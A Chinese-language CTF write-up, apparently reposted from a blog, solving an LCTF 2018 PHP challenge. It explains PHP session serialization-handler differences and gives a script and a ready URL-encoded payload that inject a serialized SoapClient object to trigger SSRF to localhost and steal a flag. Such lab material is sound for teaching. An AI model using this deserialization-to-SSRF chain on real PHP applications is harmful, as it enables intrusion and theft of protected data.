LCTF(利用Soapclient构造session原生类)

题目:

 <?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
    $_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?> array(0) { } 

这里涉及到了一个函数call_user_func

 call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] ) : mixed

回调函数:第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数

举个例子:

<?php
function test($name){
    echo "this is $name !";
}
call_user_func('test','kobe');

// 输出 this is kobe
  • call_user_func() 调用静态类

<?php
class mytest{
    static function hello_world(){
        echo "hello world";
    }
}
$test = "mytest";
call_user_func(array($test,'hello_world'));

输出 hello world

这里还存在一个flag.php文件

 only localhost can get flag!
session_start(); 
echo 'only localhost can get flag!'; 
$flag = 'LCTF{*************************}'; 
if($_SERVER["REMOTE_ADDR"]==="127.0.0.1")
{ 
$_SESSION['flag'] = $flag; 
} only localhost can get flag! 

可以看到的是这里的逻辑是用session构造本地访问flag.php,也就是SSRF

  • session序列化机制

session在php中是以文件形式储存的,这里涉及到session在php.ini中的几项配置。

在phpinfo中找到session.save_path,session.save_handler,session.serialize_handler

session.save_handler:  设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)

session.save_path:  设置session的存储路径

session.serialize_handler:  定义用来序列化/反序列化的处理器名字。默认是php(5.5.4后改为php_serialize)

  • session序列化引擎

session_serialize_handler有两种方式

session.serialize_handler = php              一直都在            它是用 |分割
session.serialize_handler = php_serialize    5.5之后启用         它是用serialize反序列化格式分割
<?php
ini_set("session.serialize_handler","php");
session_start();
$_SESSION['arr'] = array("first"=>"kobe","last"=>"bryant");
$_SESSION['b'] = 'test';
?>

这里的session是通过数组形式储存的,arr和b数组,像这样arr | a: b| s:4

而调用php_serialize这个引擎的时候,session变为了a:2:{...,看到这两种不同的引擎对于session序列化的结果是不同的,因此可以利用差异化进行反序列化注入。

例如传入$_SESSION['name']='|O:4:"test":1:{s:4:"test";s:3:"AAA";}'; 序列化引擎使用的是php_serialize,那么储存的session文件为

a:1:{s:4:"name";s:5:"|O:4:"test":1:{s:4:"test";s:3:"AAA";}";}

而反序列化引擎如果使用的是php,就会把|作为作为key和value的分隔符。把a:1:{s:4:"name";s:5:"当作键名,而把O:4:"test":1:{s:4:"test";s:3:"AAA";}当作经过serialize()函数处理过的值,最后会把它进行unserialize处理,此时就构成了一次反序列化注入攻击。

  • SoapClient:

通过刚才的分析,我们需要找到一个可以利用的类,因为这样才可以以数组的形式进行储存,由于源码中没有类的产生,因此我们需要挖掘内置类。

利用php原生类_call方法构造SSRF:

<?php
$url = "http://127.0.0.1/flag.php";
$b = new SoapClient(null, array('uri' => $url, 'location' => $url));
$a = serialize($b);
$a = str_replace('^^', "\r\n", $a);
echo "|" . urlencode($a);
?>

payload:
|O%3A10%3A%22SoapClient%22%3A3%3A%7Bs%3A3%3A%22uri%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D
将payload写入session中并覆盖原有session

 此时session_start()序列化使用的是php引擎。接下里我们覆盖变量a,利用call_user_func调用SoapClient类中的不存在方法,触发__call方法,执行ssrf。并获得访问flag.php的PHPSESSID

 这里得到的SESSION就是变量覆盖过后SSRF本地生成的SESSION,用这个session去访问flag

猜你喜欢

转载自www.cnblogs.com/sylover/p/12303027.html